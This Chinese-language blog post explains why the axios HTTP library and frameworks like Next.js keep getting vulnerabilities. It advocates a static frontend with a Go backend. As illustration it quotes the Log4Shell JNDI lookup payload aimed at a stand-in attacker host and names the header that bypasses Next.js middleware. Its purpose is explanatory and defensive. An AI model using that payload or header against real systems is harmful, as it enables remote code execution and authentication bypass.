从一个 axios 告警聊起:为什么"只是个 HTTP 库"也年年出漏洞

前两天收到 GitHub Dependabot 邮件,说我一个项目命中了 axios 的高危漏洞(GHSA-gcfj-64vw-6mp9,"Node HTTP adapter 在拦截器克隆 config 后可能继承非预期的代理")。处理很简单:axios 1.16 升到 1.18,顺手把 npm audit 里剩下的 brace-expansion、js-yaml、sharp 几条也清了,audit 归零收工。

事情本身没什么好说的,但过程中我一直在想一个问题:axios 不就是个发 HTTP 请求的库吗,怎么年年都有漏洞?

漏洞从来不在核心功能,而在"贴心"的边缘逻辑

翻了下这次修掉的几个 advisory,很有代表性:

  • formDataToJSON 递归 DoS:axios 会自动把 a[b][c][d]=1 这种表单键名解析成嵌套 JSON。解析是递归的,攻击者构造一个嵌套几万层的键名,CPU 直接打满。
  • 原型链污染注入 Basic auth:axios 合并配置(默认配置 + 实例配置 + 单次请求配置)时做深合并,没防住 __proto__ 这类键,攻击者可控的配置片段能污染到 auth 字段。
  • 拦截器克隆后继承代理(就是告警那条 high):拦截器里克隆 config 时,Node 适配器可能意外继承环境里的 proxy 设置,请求被发往非预期的代理,流量可能被第三方看到。

发现规律没有?没有一个洞出在"发 HTTP 请求"这个核心动作上。全部出在便利功能:自动数据转换、配置深合并、代理支持。功能越"聪明"的库,攻击面越大。

这个规律的极端案例就是 Log4Shell。一个日志库,本职是把字符串写进文件,但 Log4j 非要支持日志内容里 ${...} 变量替换,还支持 JNDI 远程查找——于是攻击者在用户名框里填一串 ${jndi:ldap://attacker.com/x},服务端一句 log.info("login: " + username) 就是远程代码执行。CVSS 满分 10.0,从 Minecraft 服务器到 AWS 全球排查了几个星期。漏洞不在核心功能,在多余的聪明。

npm 告警多是"噪音大",框架层的洞才是真疼

做前端的应该都有体感:Dependabot 告警就没停过。但这里要分两类看。

第一类是依赖树噪音。npm 生态习惯把功能拆成微型包,中型项目传递依赖轻松上千个,任何角落出 advisory 都给你弹告警。我这次修的 brace-expansion、js-yaml 就是典型——我根本没直接用过它们。这类告警数量吓人,但大多数在你的实际使用场景下根本触发不了,跟着升级就行,不用逐条焦虑。

第二类是框架层漏洞,这才是要命的。Next.js 这两年的几个大 CVE 是典型:

  • CVE-2025-29927:请求头带上 x-middleware-subrequest 就能整体绕过 middleware。多少项目把鉴权写在 middleware 里,等于大门敞开。根因是框架信任了一个本该只有自己能设置的内部 header。
  • 另外还有 Server Actions 的 SSRF、缓存投毒(把带用户数据的响应污染进公共缓存)之类。

框架层漏洞疼在两点:一是所有用它的站点集体裸奔;二是这些逻辑对使用者是黑盒,你自己代码写得再干净也防不住。Next.js 把路由、中间件、缓存、SSR 全糅在一个运行时里,每一块都是暴露在公网的服务端攻击面。

我的应对:前端只出静态文件,服务端交给 Go

我现在的项目基本都是一个套路:Next.js 只做静态导出(output: 'export'),服务端用 Go,由 Go 同时托管静态文件和 /api

这个架构下前端产物就是一堆 HTML/JS/CSS,服务器上没有 Node 运行时、没有 middleware、没有 Server Actions——上面那些 Next.js CVE 一个都打不到我,鉴权全在 Go 后端自己手里。Docker 镜像基于 Alpine 连 Node 都没装。前端框架的漏洞面被压缩到"构建工具链"级别,只在 CI 里存在,运行时攻击面基本归零。

所以这次几个告警对我只是"升级依赖"的小事,而不是"连夜打补丁"的事故。

顺便聊聊生态差异

有人会说这是不是"Node 不行"。准确说不是语言不行,是生态文化和攻击面形状的差别:

  • 依赖文化:Go 标准库覆盖面大(HTTP、加密、JSON 全内置),社区推崇少依赖。同一个项目,go.sumpackage-lock.json 的依赖数差一个数量级,供应链入口自然少。npm 那边维护者账号被钓鱼发恶意版本、废弃包被接管、postinstall 直接执行任意代码的事故年年有。
  • 语言特性:原型链污染这类漏洞在 Go 里根本不存在——结构体字段编译期定死,没有"往对象上随便挂属性"这回事。静态类型 + 内存安全 + 单二进制,运行时不会加载意外的代码。
  • 但别神化 Go:Log4Shell 是 Java 的;Go 标准库也年年有 CVE(net/http 请求走私、路径遍历之类),只是危害形态多是 DoS / 解析类,很少是"一个 header 绕过全部鉴权"这种级别。

最后说句实在的:大部分真实安全事故根本不在语言层。弱密码、鉴权逻辑写错、越权查询、SSRF,这些用什么语言都躲不掉。生态选择决定的是"底噪"高低——底噪低了,你才有精力盯真正重要的业务安全。


TL;DR:

  1. HTTP 库的漏洞几乎都出在自动转换、配置合并这些"贴心功能"上,核心功能反而最稳
  2. npm 告警多数是依赖树噪音,跟着升级即可;框架层 CVE(如 Next.js middleware 绕过)才需要严肃对待
  3. Next.js 静态导出 + Go 后端的组合能把服务端 JS 攻击面直接砍掉
  4. 生态选择决定安全底噪,但真正的事故大头永远是业务逻辑